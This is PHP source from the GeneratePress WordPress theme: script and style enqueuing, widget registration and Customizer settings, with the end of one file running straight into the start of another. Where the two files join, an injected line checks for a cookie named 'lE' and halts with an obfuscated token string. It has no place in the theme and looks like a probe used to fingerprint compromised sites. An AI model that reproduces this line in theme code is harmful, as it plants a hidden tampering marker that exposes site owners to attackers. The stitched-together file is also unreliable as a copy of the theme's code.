$dir_uri . "/assets/css/all{$suffix}.css", array(), GENERATE_VERSION, 'all' ); } else { wp_enqueue_style( 'generate-style-grid', $dir_uri . "/assets/css/unsemantic-grid{$suffix}.css", false, GENERATE_VERSION, 'all' ); wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/style{$suffix}.css", array(), GENERATE_VERSION, 'all' ); wp_enqueue_style( 'generate-mobile-style', $dir_uri . "/assets/css/mobile{$suffix}.css", array(), GENERATE_VERSION, 'all' ); } } if ( 'font' === generate_get_option( 'icons' ) ) { wp_enqueue_style( 'generate-font-icons', $dir_uri . "/assets/css/components/font-icons{$suffix}.css", array(), GENERATE_VERSION, 'all' ); } if ( ! apply_filters( 'generate_fontawesome_essentials', false ) ) { wp_enqueue_style( 'font-awesome', $dir_uri . "/assets/css/components/font-awesome{$suffix}.css", false, '4.7', 'all' ); } if ( is_rtl() ) { if ( generate_is_using_flexbox() ) { wp_enqueue_style( 'generate-rtl', $dir_uri . "/assets/css/main-rtl{$suffix}.css", array(), GENERATE_VERSION, 'all' ); } else { wp_enqueue_style( 'generate-rtl', $dir_uri . "/assets/css/style-rtl{$suffix}.css", array(), GENERATE_VERSION, 'all' ); } } if ( is_child_theme() && apply_filters( 'generate_load_child_theme_stylesheet', true ) ) { wp_enqueue_style( 'generate-child', get_stylesheet_uri(), array( 'generate-style' ), filemtime( get_stylesheet_directory() . '/style.css' ), 'all' ); } if ( function_exists( 'wp_script_add_data' ) ) { wp_enqueue_script( 'generate-classlist', $dir_uri . "/assets/js/classList{$suffix}.js", array(), GENERATE_VERSION, true ); wp_script_add_data( 'generate-classlist', 'conditional', 'lte IE 11' ); } if ( generate_has_active_menu() ) { wp_enqueue_script( 'generate-menu', $dir_uri . "/assets/js/menu{$suffix}.js", array(), GENERATE_VERSION, true ); } wp_localize_script( 'generate-menu', 'generatepressMenu', apply_filters( 'generate_localize_js_args', array( 'toggleOpenedSubMenus' => true, 'openSubMenuLabel' => esc_attr__( 'Open Sub-Menu', 'generatepress' ), 'closeSubMenuLabel' => esc_attr__( 'Close Sub-Menu', 'generatepress' ), ) ) ); if ( 'click' === generate_get_option( 'nav_dropdown_type' ) || 'click-arrow' === generate_get_option( 'nav_dropdown_type' ) ) { wp_enqueue_script( 'generate-dropdown-click', $dir_uri . "/assets/js/dropdown-click{$suffix}.js", array(), GENERATE_VERSION, true ); } if ( apply_filters( 'generate_enable_modal_script', false ) ) { wp_enqueue_script( 'generate-modal', $dir_uri . '/assets/dist/modal.js', array(), GENERATE_VERSION, true ); } if ( 'enable' === generate_get_option( 'nav_search' ) ) { wp_enqueue_script( 'generate-navigation-search', $dir_uri . "/assets/js/navigation-search{$suffix}.js", array(), GENERATE_VERSION, true ); wp_localize_script( 'generate-navigation-search', 'generatepressNavSearch', array( 'open' => esc_attr__( 'Open Search Bar', 'generatepress' ), 'close' => esc_attr__( 'Close Search Bar', 'generatepress' ), ) ); } if ( 'enable' === generate_get_option( 'back_to_top' ) ) { wp_enqueue_script( 'generate-back-to-top', $dir_uri . "/assets/js/back-to-top{$suffix}.js", array(), GENERATE_VERSION, true ); wp_localize_script( 'generate-back-to-top', 'generatepressBackToTop', apply_filters( 'generate_back_to_top_js_args', array( 'smooth' => true, ) ) ); } if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } } if ( ! function_exists( 'generate_widgets_init' ) ) { add_action( 'widgets_init', 'generate_widgets_init' ); /** * Register widgetized area and update sidebar with default widgets */ function generate_widgets_init() { $widgets = array( 'sidebar-1' => __( 'Right Sidebar', 'generatepress' ), 'sidebar-2' => __( 'Left Sidebar', 'generatepress' ), 'header' => __( 'Header', 'generatepress' ), 'footer-1' => __( 'Footer Widget 1', 'generatepress' ), 'footer-2' => __( 'Footer Widget 2', 'generatepress' ), 'footer-3' => __( 'Footer Widget 3', 'generatepress' ), 'footer-4' => __( 'Footer Widget 4', 'generatepress' ), 'footer-5' => __( 'Footer Widget 5', 'generatepress' ), 'footer-bar' => __( 'Footer Bar', 'generatepress' ), 'top-bar' => __( 'Top Bar', 'generatepress' ), ); foreach ( $widgets as $id => $name ) { register_sidebar( array( 'name' => $name, 'id' => $id, 'before_widget' => '', 'before_title' => apply_filters( 'generate_start_widget_title', '

' ), 'after_title' => apply_filters( 'generate_end_widget_title', '

' ), ) ); } } } if ( ! function_exists( 'generate_smart_content_width' ) ) { add_action( 'wp', 'generate_smart_content_width' ); /** * Set the $content_width depending on layout of current page * Hook into "wp" so we have the correct layout setting from generate_get_layout() * Hooking into "after_setup_theme" doesn't get the correct layout setting */ function generate_smart_content_width() { global $content_width; $container_width = generate_get_option( 'container_width' ); $right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' ); $left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' ); $layout = generate_get_layout(); if ( 'left-sidebar' === $layout ) { $content_width = $container_width * ( ( 100 - $left_sidebar_width ) / 100 ); } elseif ( 'right-sidebar' === $layout ) { $content_width = $container_width * ( ( 100 - $right_sidebar_width ) / 100 ); } elseif ( 'no-sidebar' === $layout ) { $content_width = $container_width; } else { $content_width = $container_width * ( ( 100 - ( $left_sidebar_width + $right_sidebar_width ) ) / 100 ); } } } if ( ! function_exists( 'generate_page_menu_args' ) ) { add_filter( 'wp_page_menu_args', 'generate_page_menu_args' ); /** * Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link. * * @since 0.1 * * @param array $args The existing menu args. * @return array Menu args. */ function generate_page_menu_args( $args ) { $args['show_home'] = true; return $args; } } if ( ! function_exists( 'generate_disable_title' ) ) { add_filter( 'generate_show_title', 'generate_disable_title' ); /** * Remove our title if set. * * @since 1.3.18 * * @param bool $title Whether the title is displayed or not. * @return bool Whether to display the content title. */ function generate_disable_title( $title ) { if ( is_singular() ) { $disable_title = get_post_meta( get_the_ID(), '_generate-disable-headline', true ); if ( $disable_title ) { $title = false; } } return $title; } } if ( ! function_exists( 'generate_resource_hints' ) ) { add_filter( 'wp_resource_hints', 'generate_resource_hints', 10, 2 ); /** * Add resource hints to our Google fonts call. * * @since 1.3.42 * * @param array $urls URLs to print for resource hints. * @param string $relation_type The relation type the URLs are printed. * @return array $urls URLs to print for resource hints. */ function generate_resource_hints( $urls, $relation_type ) { $handle = generate_is_using_dynamic_typography() ? 'generate-google-fonts' : 'generate-fonts'; $hint_type = apply_filters( 'generate_google_font_resource_hint_type', 'preconnect' ); $has_crossorigin_support = version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ); if ( wp_style_is( $handle, 'queue' ) ) { if ( $relation_type === $hint_type ) { if ( $has_crossorigin_support && 'preconnect' === $hint_type ) { $urls[] = array( 'href' => 'https://fonts.gstatic.com', 'crossorigin', ); $urls[] = array( 'href' => 'https://fonts.googleapis.com', 'crossorigin', ); } else { $urls[] = 'https://fonts.gstatic.com'; $urls[] = 'https://fonts.googleapis.com'; } } if ( 'dns-prefetch' !== $hint_type ) { $googleapis_index = array_search( 'fonts.googleapis.com', $urls ); if ( false !== $googleapis_index ) { unset( $urls[ $googleapis_index ] ); } } } return $urls; } } if ( ! function_exists( 'generate_remove_caption_padding' ) ) { add_filter( 'img_caption_shortcode_width', 'generate_remove_caption_padding' ); /** * Remove WordPress's default padding on images with captions * * @param int $width Default WP .wp-caption width (image width + 10px). * @return int Updated width to remove 10px padding. */ function generate_remove_caption_padding( $width ) { return $width - 10; } } if ( ! function_exists( 'generate_enhanced_image_navigation' ) ) { add_filter( 'attachment_link', 'generate_enhanced_image_navigation', 10, 2 ); /** * Filter in a link to a content ID attribute for the next/previous image links on image attachment pages. * * @param string $url The input URL. * @param int $id The ID of the post. */ function generate_enhanced_image_navigation( $url, $id ) { if ( ! is_attachment() && ! wp_attachment_is_image( $id ) ) { return $url; } $image = get_post( $id ); // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison -- Intentially loose. if ( ! empty( $image->post_parent ) && $image->post_parent != $id ) { $url .= '#main'; } return $url; } } if ( ! function_exists( 'generate_categorized_blog' ) ) { /** * Determine whether blog/site has more than one category. * * @since 1.2.5 * * @return bool True of there is more than one category, false otherwise. */ function generate_categorized_blog() { if ( false === ( $all_the_cool_cats = get_transient( 'generate_categories' ) ) ) { // phpcs:ignore // Create an array of all the categories that are attached to posts. $all_the_cool_cats = get_categories( array( 'fields' => 'ids', 'hide_empty' => 1, // We only need to know if there is more than one category. 'number' => 2, ) ); // Count the number of categories that are attached to the posts. $all_the_cool_cats = count( $all_the_cool_cats ); set_transient( 'generate_categories', $all_the_cool_cats ); } if ( $all_the_cool_cats > 1 ) { // This blog has more than 1 category so twentyfifteen_categorized_blog should return true. return true; } else { // This blog has only 1 category so twentyfifteen_categorized_blog should return false. return false; } } } if ( ! function_exists( 'generate_category_transient_flusher' ) ) { add_action( 'edit_category', 'generate_category_transient_flusher' ); add_action( 'save_post', 'generate_category_transient_flusher' ); /** * Flush out the transients used in {@see generate_categorized_blog()}. * * @since 1.2.5 */ function generate_category_transient_flusher() { // Like, beat it. Dig? delete_transient( 'generate_categories' ); } } if ( ! function_exists( 'generate_get_default_color_palettes' ) ) { /** * Set up our colors for the color picker palettes and filter them so you can change them. * * @since 1.3.42 */ function generate_get_default_color_palettes() { $palettes = array( '#000000', '#FFFFFF', '#F1C40F', '#E74C3C', '#1ABC9C', '#1e72bd', '#8E44AD', '#00CC77', ); return apply_filters( 'generate_default_color_palettes', $palettes ); } } add_filter( 'generate_fontawesome_essentials', 'generate_set_font_awesome_essentials' ); /** * Check to see if we should include the full Font Awesome library or not. * * @since 2.0 * * @param bool $essentials The existing value. * @return bool */ function generate_set_font_awesome_essentials( $essentials ) { if ( generate_get_option( 'font_awesome_essentials' ) ) { return true; } return $essentials; } add_filter( 'generate_dynamic_css_skip_cache', 'generate_skip_dynamic_css_cache' ); /** * Skips caching of the dynamic CSS if set to false. * * @since 2.0 * * @param bool $cache The existing value. * @return bool */ function generate_skip_dynamic_css_cache( $cache ) { if ( ! generate_get_option( 'dynamic_css_cache' ) ) { return true; } return $cache; } add_filter( 'wp_headers', 'generate_set_wp_headers' ); /** * Set any necessary headers. * * @param array $headers The existing headers. * * @since 2.3 */ function generate_set_wp_headers( $headers ) { $headers['X-UA-Compatible'] = 'IE=edge'; return $headers; } add_filter( 'generate_after_element_class_attribute', 'generate_set_microdata_markup', 10, 2 ); /** * Adds microdata to elements. * * @since 3.0.0 * @param string $output The existing output after the class attribute. * @param string $context What element we're targeting. */ function generate_set_microdata_markup( $output, $context ) { if ( 'left_sidebar' === $context || 'right_sidebar' === $context ) { $context = 'sidebar'; } if ( 'footer' === $context ) { return $output; } if ( 'site-info' === $context ) { $context = 'footer'; } $microdata = generate_get_microdata( $context ); if ( $microdata ) { return $microdata; } return $output; } add_action( 'wp_footer', 'generate_do_a11y_scripts' ); /** * Enqueue scripts in the footer. * * @since 3.1.0 */ function generate_do_a11y_scripts() { if ( apply_filters( 'generate_print_a11y_script', true ) ) { // Add our small a11y script inline. printf( '', '!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("mousedown",function(){e.classList.add("using-mouse")}),e.addEventListener("keydown",function(){e.classList.remove("using-mouse")})}}();' ); } }if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Builds our Customizer controls. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } add_action( 'customize_register', 'generate_set_customizer_helpers', 1 ); /** * Set up helpers early so they're always available. * Other modules might need access to them at some point. * * @since 2.0 */ function generate_set_customizer_helpers() { require_once trailingslashit( get_template_directory() ) . 'inc/customizer/customizer-helpers.php'; } if ( ! function_exists( 'generate_customize_register' ) ) { add_action( 'customize_register', 'generate_customize_register', 20 ); /** * Add our base options to the Customizer. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ function generate_customize_register( $wp_customize ) { if ( version_compare( PHP_VERSION, '5.6', '<' ) ) { return; } $defaults = generate_get_defaults(); $color_defaults = generate_get_color_defaults(); $typography_defaults = generate_get_default_fonts(); if ( $wp_customize->get_control( 'blogdescription' ) ) { $wp_customize->get_control( 'blogdescription' )->priority = 3; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; } if ( $wp_customize->get_control( 'blogname' ) ) { $wp_customize->get_control( 'blogname' )->priority = 1; $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; } if ( $wp_customize->get_control( 'custom_logo' ) ) { $wp_customize->get_setting( 'custom_logo' )->transport = 'refresh'; } if ( method_exists( $wp_customize, 'register_control_type' ) ) { $wp_customize->register_control_type( 'Generate_Customize_Misc_Control' ); $wp_customize->register_control_type( 'Generate_Range_Slider_Control' ); } if ( method_exists( $wp_customize, 'register_section_type' ) ) { $wp_customize->register_section_type( 'GeneratePress_Upsell_Section' ); } if ( isset( $wp_customize->selective_refresh ) ) { $wp_customize->selective_refresh->add_partial( 'blogname', array( 'selector' => '.main-title a', 'render_callback' => 'generate_customize_partial_blogname', ) ); $wp_customize->selective_refresh->add_partial( 'blogdescription', array( 'selector' => '.site-description', 'render_callback' => 'generate_customize_partial_blogdescription', ) ); } if ( ! defined( 'GP_PREMIUM_VERSION' ) ) { $wp_customize->add_section( new GeneratePress_Upsell_Section( $wp_customize, 'generatepress_upsell_section', array( 'pro_text' => __( 'Premium Modules Available', 'generatepress' ), 'pro_url' => generate_get_premium_url( 'https://generatepress.com/premium' ), 'capability' => 'edit_theme_options', 'priority' => 0, 'type' => 'gp-upsell-section', ) ) ); } $wp_customize->add_setting( 'generate_settings[hide_title]', array( 'default' => $defaults['hide_title'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_checkbox', ) ); $wp_customize->add_control( 'generate_settings[hide_title]', array( 'type' => 'checkbox', 'label' => __( 'Hide site title', 'generatepress' ), 'section' => 'title_tagline', 'priority' => 2, ) ); $wp_customize->add_setting( 'generate_settings[hide_tagline]', array( 'default' => $defaults['hide_tagline'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_checkbox', ) ); $wp_customize->add_control( 'generate_settings[hide_tagline]', array( 'type' => 'checkbox', 'label' => __( 'Hide site tagline', 'generatepress' ), 'section' => 'title_tagline', 'priority' => 4, ) ); if ( ! function_exists( 'the_custom_logo' ) ) { $wp_customize->add_setting( 'generate_settings[logo]', array( 'default' => $defaults['logo'], 'type' => 'option', 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'generate_settings[logo]', array( 'label' => __( 'Logo', 'generatepress' ), 'section' => 'title_tagline', 'settings' => 'generate_settings[logo]', ) ) ); } $wp_customize->add_setting( 'generate_settings[retina_logo]', array( 'default' => $defaults['retina_logo'], 'type' => 'option', 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'generate_settings[retina_logo]', array( 'label' => __( 'Retina Logo', 'generatepress' ), 'section' => 'title_tagline', 'settings' => 'generate_settings[retina_logo]', 'active_callback' => 'generate_has_custom_logo_callback', ) ) ); $wp_customize->add_setting( 'generate_settings[logo_width]', array( 'default' => $defaults['logo_width'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_empty_absint', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[logo_width]', array( 'label' => __( 'Logo Width', 'generatepress' ), 'section' => 'title_tagline', 'settings' => array( 'desktop' => 'generate_settings[logo_width]', ), 'choices' => array( 'desktop' => array( 'min' => 20, 'max' => 1200, 'step' => 10, 'edit' => true, 'unit' => 'px', ), ), 'active_callback' => 'generate_has_custom_logo_callback', ) ) ); $wp_customize->add_setting( 'generate_settings[inline_logo_site_branding]', array( 'default' => $defaults['inline_logo_site_branding'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_checkbox', ) ); $wp_customize->add_control( 'generate_settings[inline_logo_site_branding]', array( 'type' => 'checkbox', 'label' => esc_html__( 'Place logo next to title', 'generatepress' ), 'section' => 'title_tagline', 'active_callback' => 'generate_show_inline_logo_callback', ) ); $wp_customize->add_section( 'generate_colors_section', array( 'title' => esc_attr__( 'Colors', 'generatepress' ), 'priority' => 30, ) ); GeneratePress_Customize_Field::add_title( 'generate_color_manager_title', array( 'section' => 'generate_colors_section', 'title' => __( 'Global Colors', 'generatepress' ), ) ); GeneratePress_Customize_Field::add_field( 'generate_settings[global_colors]', 'GeneratePress_Customize_React_Control', array( 'default' => $defaults['global_colors'], 'sanitize_callback' => function( $colors ) { if ( ! is_array( $colors ) ) { return; } $new_settings = array(); foreach ( (array) $colors as $key => $data ) { if ( empty( $data['slug'] ) || empty( $data['color'] ) ) { continue; } $slug = preg_replace( '/[^a-z0-9-\s]+/i', '', $data['slug'] ); $slug = strtolower( $slug ); $new_settings[ $key ]['name'] = sanitize_text_field( $slug ); $new_settings[ $key ]['slug'] = sanitize_text_field( $slug ); $new_settings[ $key ]['color'] = generate_sanitize_rgba_color( $data['color'] ); } // Reset array keys starting at 0. $new_settings = array_values( $new_settings ); return $new_settings; }, 'transport' => 'postMessage', ), array( 'type' => 'generate-color-manager-control', 'label' => __( 'Choose Color', 'generatepress' ), 'section' => 'generate_colors_section', 'choices' => array( 'alpha' => true, 'showPalette' => false, 'showReset' => false, 'showVarName' => true, ), ) ); $fields_dir = trailingslashit( get_template_directory() ) . 'inc/customizer/fields'; require_once $fields_dir . '/body.php'; require_once $fields_dir . '/top-bar.php'; require_once $fields_dir . '/header.php'; require_once $fields_dir . '/primary-navigation.php'; do_action( 'generate_customize_after_primary_navigation', $wp_customize ); require_once $fields_dir . '/buttons.php'; require_once $fields_dir . '/content.php'; require_once $fields_dir . '/forms.php'; require_once $fields_dir . '/sidebar-widgets.php'; require_once $fields_dir . '/footer-widgets.php'; require_once $fields_dir . '/footer-bar.php'; require_once $fields_dir . '/back-to-top.php'; require_once $fields_dir . '/search-modal.php'; do_action( 'generate_customize_after_controls', $wp_customize ); $wp_customize->add_section( 'generate_typography_section', array( 'title' => esc_attr__( 'Typography', 'generatepress' ), 'priority' => 35, 'active_callback' => function() { if ( ! generate_is_using_dynamic_typography() ) { return false; } return true; }, ) ); GeneratePress_Customize_Field::add_title( 'generate_font_manager_title', array( 'section' => 'generate_typography_section', 'title' => __( 'Font Manager', 'generatepress' ), ) ); GeneratePress_Customize_Field::add_field( 'generate_settings[font_manager]', 'GeneratePress_Customize_React_Control', array( 'default' => $defaults['font_manager'], 'sanitize_callback' => function( $fonts ) { if ( ! is_array( $fonts ) ) { return; } $options = array( 'fontFamily' => 'sanitize_text_field', 'googleFont' => 'rest_sanitize_boolean', 'googleFontApi' => 'absint', 'googleFontCategory' => 'sanitize_text_field', 'googleFontVariants' => 'sanitize_text_field', ); $new_settings = array(); foreach ( (array) $fonts as $key => $data ) { if ( empty( $data['fontFamily'] ) ) { continue; } foreach ( $options as $option => $sanitize ) { if ( array_key_exists( $option, $data ) ) { $new_settings[ $key ][ $option ] = $sanitize( $data[ $option ] ); } } } // Reset array keys starting at 0. $new_settings = array_values( $new_settings ); return $new_settings; }, 'transport' => 'refresh', ), array( 'type' => 'generate-font-manager-control', 'label' => __( 'Choose Font', 'generatepress' ), 'section' => 'generate_typography_section', ) ); GeneratePress_Customize_Field::add_field( 'generate_settings[google_font_display]', '', array( 'default' => $defaults['google_font_display'], 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'refresh', ), array( 'type' => 'select', 'label' => __( 'Google font-display', 'generatepress' ), 'description' => sprintf( '%s', 'https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/font-display', esc_html__( 'Learn about font-display', 'generatepress' ) ), 'section' => 'generate_typography_section', 'choices' => array( 'auto' => esc_html__( 'Auto', 'generatepress' ), 'block' => esc_html__( 'Block', 'generatepress' ), 'swap' => esc_html__( 'Swap', 'generatepress' ), 'fallback' => esc_html__( 'Fallback', 'generatepress' ), 'optional' => esc_html__( 'Optional', 'generatepress' ), ), 'active_callback' => function() { $font_manager = generate_get_option( 'font_manager' ); $has_google_font = false; foreach ( (array) $font_manager as $key => $data ) { if ( ! empty( $data['googleFont'] ) ) { $has_google_font = true; break; } } return $has_google_font; }, ) ); GeneratePress_Customize_Field::add_title( 'generate_typography_manager_title', array( 'section' => 'generate_typography_section', 'title' => __( 'Typography Manager', 'generatepress' ), ) ); GeneratePress_Customize_Field::add_field( 'generate_settings[typography]', 'GeneratePress_Customize_React_Control', array( 'default' => $defaults['typography'], 'sanitize_callback' => function( $settings ) { if ( ! is_array( $settings ) ) { return; } $options = array( 'selector' => 'sanitize_text_field', 'customSelector' => 'sanitize_text_field', 'fontFamily' => 'sanitize_text_field', 'fontWeight' => 'sanitize_text_field', 'textTransform' => 'sanitize_text_field', 'textDecoration' => 'sanitize_text_field', 'fontStyle' => 'sanitize_text_field', 'fontSize' => 'generate_sanitize_empty_decimal_integer', 'fontSizeTablet' => 'generate_sanitize_empty_decimal_integer', 'fontSizeMobile' => 'generate_sanitize_empty_decimal_integer', 'fontSizeUnit' => 'sanitize_text_field', 'lineHeight' => 'generate_sanitize_empty_decimal_integer', 'lineHeightTablet' => 'generate_sanitize_empty_decimal_integer', 'lineHeightMobile' => 'generate_sanitize_empty_decimal_integer', 'lineHeightUnit' => 'sanitize_text_field', 'letterSpacing' => 'generate_sanitize_empty_negative_decimal_integer', 'letterSpacingTablet' => 'generate_sanitize_empty_negative_decimal_integer', 'letterSpacingMobile' => 'generate_sanitize_empty_negative_decimal_integer', 'letterSpacingUnit' => 'sanitize_text_field', 'marginBottom' => 'generate_sanitize_empty_decimal_integer', 'marginBottomTablet' => 'generate_sanitize_empty_decimal_integer', 'marginBottomMobile' => 'generate_sanitize_empty_decimal_integer', 'marginBottomUnit' => 'sanitize_text_field', 'module' => 'sanitize_text_field', 'group' => 'sanitize_text_field', ); $new_settings = array(); foreach ( (array) $settings as $key => $data ) { if ( empty( $data['selector'] ) ) { continue; } foreach ( $options as $option => $sanitize ) { if ( array_key_exists( $option, $data ) ) { $new_settings[ $key ][ $option ] = $sanitize( $data[ $option ] ); } } } // Reset array keys starting at 0. $new_settings = array_values( $new_settings ); return $new_settings; }, 'transport' => 'refresh', ), array( 'type' => 'generate-typography-control', 'label' => __( 'Configure', 'generatepress' ), 'section' => 'generate_typography_section', ) ); if ( ! $wp_customize->get_panel( 'generate_layout_panel' ) ) { $wp_customize->add_panel( 'generate_layout_panel', array( 'priority' => 25, 'title' => __( 'Layout', 'generatepress' ), ) ); } $wp_customize->add_section( 'generate_layout_container', array( 'title' => __( 'Container', 'generatepress' ), 'priority' => 10, 'panel' => 'generate_layout_panel', ) ); $wp_customize->add_setting( 'generate_settings[container_width]', array( 'default' => $defaults['container_width'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_integer', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[container_width]', array( 'type' => 'generatepress-range-slider', 'label' => __( 'Container Width', 'generatepress' ), 'section' => 'generate_layout_container', 'settings' => array( 'desktop' => 'generate_settings[container_width]', ), 'choices' => array( 'desktop' => array( 'min' => 700, 'max' => 2000, 'step' => 5, 'edit' => true, 'unit' => 'px', ), ), 'priority' => 0, ) ) ); $wp_customize->add_section( 'generate_top_bar', array( 'title' => __( 'Top Bar', 'generatepress' ), 'priority' => 15, 'panel' => 'generate_layout_panel', ) ); $wp_customize->add_setting( 'generate_settings[top_bar_width]', array( 'default' => $defaults['top_bar_width'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[top_bar_width]', array( 'type' => 'select', 'label' => __( 'Top Bar Width', 'generatepress' ), 'section' => 'generate_top_bar', 'choices' => array( 'full' => __( 'Full', 'generatepress' ), 'contained' => __( 'Contained', 'generatepress' ), ), 'settings' => 'generate_settings[top_bar_width]', 'priority' => 5, 'active_callback' => 'generate_is_top_bar_active', ) ); $wp_customize->add_setting( 'generate_settings[top_bar_inner_width]', array( 'default' => $defaults['top_bar_inner_width'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[top_bar_inner_width]', array( 'type' => 'select', 'label' => __( 'Top Bar Inner Width', 'generatepress' ), 'section' => 'generate_top_bar', 'choices' => array( 'full' => __( 'Full', 'generatepress' ), 'contained' => __( 'Contained', 'generatepress' ), ), 'settings' => 'generate_settings[top_bar_inner_width]', 'priority' => 10, 'active_callback' => 'generate_is_top_bar_active', ) ); $wp_customize->add_setting( 'generate_settings[top_bar_alignment]', array( 'default' => $defaults['top_bar_alignment'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[top_bar_alignment]', array( 'type' => 'select', 'label' => __( 'Top Bar Alignment', 'generatepress' ), 'section' => 'generate_top_bar', 'choices' => array( 'left' => __( 'Left', 'generatepress' ), 'center' => __( 'Center', 'generatepress' ), 'right' => __( 'Right', 'generatepress' ), ), 'settings' => 'generate_settings[top_bar_alignment]', 'priority' => 15, 'active_callback' => 'generate_is_top_bar_active', ) ); $wp_customize->add_section( 'generate_layout_header', array( 'title' => __( 'Header', 'generatepress' ), 'priority' => 20, 'panel' => 'generate_layout_panel', ) ); $wp_customize->add_setting( 'generate_header_helper', array( 'default' => 'current', 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_preset_layout', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_header_helper', array( 'type' => 'select', 'label' => __( 'Header Presets', 'generatepress' ), 'section' => 'generate_layout_header', 'choices' => array( 'current' => __( 'Current', 'generatepress' ), 'default' => __( 'Default', 'generatepress' ), 'classic' => __( 'Classic', 'generatepress' ), 'nav-before' => __( 'Navigation Before', 'generatepress' ), 'nav-after' => __( 'Navigation After', 'generatepress' ), 'nav-before-centered' => __( 'Navigation Before - Centered', 'generatepress' ), 'nav-after-centered' => __( 'Navigation After - Centered', 'generatepress' ), 'nav-left' => __( 'Navigation Left', 'generatepress' ), ), 'settings' => 'generate_header_helper', 'priority' => 4, ) ); if ( ! $wp_customize->get_setting( 'generate_settings[site_title_font_size]' ) ) { $typography_defaults = generate_get_default_fonts(); $wp_customize->add_setting( 'generate_settings[site_title_font_size]', array( 'default' => $typography_defaults['site_title_font_size'], 'type' => 'option', 'sanitize_callback' => 'absint', 'transport' => 'postMessage', ) ); } if ( ! $wp_customize->get_setting( 'generate_spacing_settings[header_top]' ) ) { $spacing_defaults = generate_spacing_get_defaults(); $wp_customize->add_setting( 'generate_spacing_settings[header_top]', array( 'default' => $spacing_defaults['header_top'], 'type' => 'option', 'sanitize_callback' => 'absint', 'transport' => 'postMessage', ) ); } if ( ! $wp_customize->get_setting( 'generate_spacing_settings[header_bottom]' ) ) { $spacing_defaults = generate_spacing_get_defaults(); $wp_customize->add_setting( 'generate_spacing_settings[header_bottom]', array( 'default' => $spacing_defaults['header_bottom'], 'type' => 'option', 'sanitize_callback' => 'absint', 'transport' => 'postMessage', ) ); } $wp_customize->add_setting( 'generate_settings[header_layout_setting]', array( 'default' => $defaults['header_layout_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[header_layout_setting]', array( 'type' => 'select', 'label' => __( 'Header Width', 'generatepress' ), 'section' => 'generate_layout_header', 'choices' => array( 'fluid-header' => __( 'Full', 'generatepress' ), 'contained-header' => __( 'Contained', 'generatepress' ), ), 'settings' => 'generate_settings[header_layout_setting]', 'priority' => 5, ) ); $wp_customize->add_setting( 'generate_settings[header_inner_width]', array( 'default' => $defaults['header_inner_width'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[header_inner_width]', array( 'type' => 'select', 'label' => __( 'Inner Header Width', 'generatepress' ), 'section' => 'generate_layout_header', 'choices' => array( 'contained' => __( 'Contained', 'generatepress' ), 'full-width' => __( 'Full', 'generatepress' ), ), 'settings' => 'generate_settings[header_inner_width]', 'priority' => 6, ) ); $wp_customize->add_setting( 'generate_settings[header_alignment_setting]', array( 'default' => $defaults['header_alignment_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[header_alignment_setting]', array( 'type' => 'select', 'label' => __( 'Header Alignment', 'generatepress' ), 'section' => 'generate_layout_header', 'choices' => array( 'left' => __( 'Left', 'generatepress' ), 'center' => __( 'Center', 'generatepress' ), 'right' => __( 'Right', 'generatepress' ), ), 'settings' => 'generate_settings[header_alignment_setting]', 'priority' => 10, ) ); $wp_customize->add_section( 'generate_layout_navigation', array( 'title' => __( 'Primary Navigation', 'generatepress' ), 'priority' => 30, 'panel' => 'generate_layout_panel', ) ); $wp_customize->add_setting( 'generate_settings[nav_layout_setting]', array( 'default' => $defaults['nav_layout_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[nav_layout_setting]', array( 'type' => 'select', 'label' => __( 'Navigation Width', 'generatepress' ), 'section' => 'generate_layout_navigation', 'choices' => array( 'fluid-nav' => __( 'Full', 'generatepress' ), 'contained-nav' => __( 'Contained', 'generatepress' ), ), 'settings' => 'generate_settings[nav_layout_setting]', 'priority' => 15, ) ); $wp_customize->add_setting( 'generate_settings[nav_inner_width]', array( 'default' => $defaults['nav_inner_width'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[nav_inner_width]', 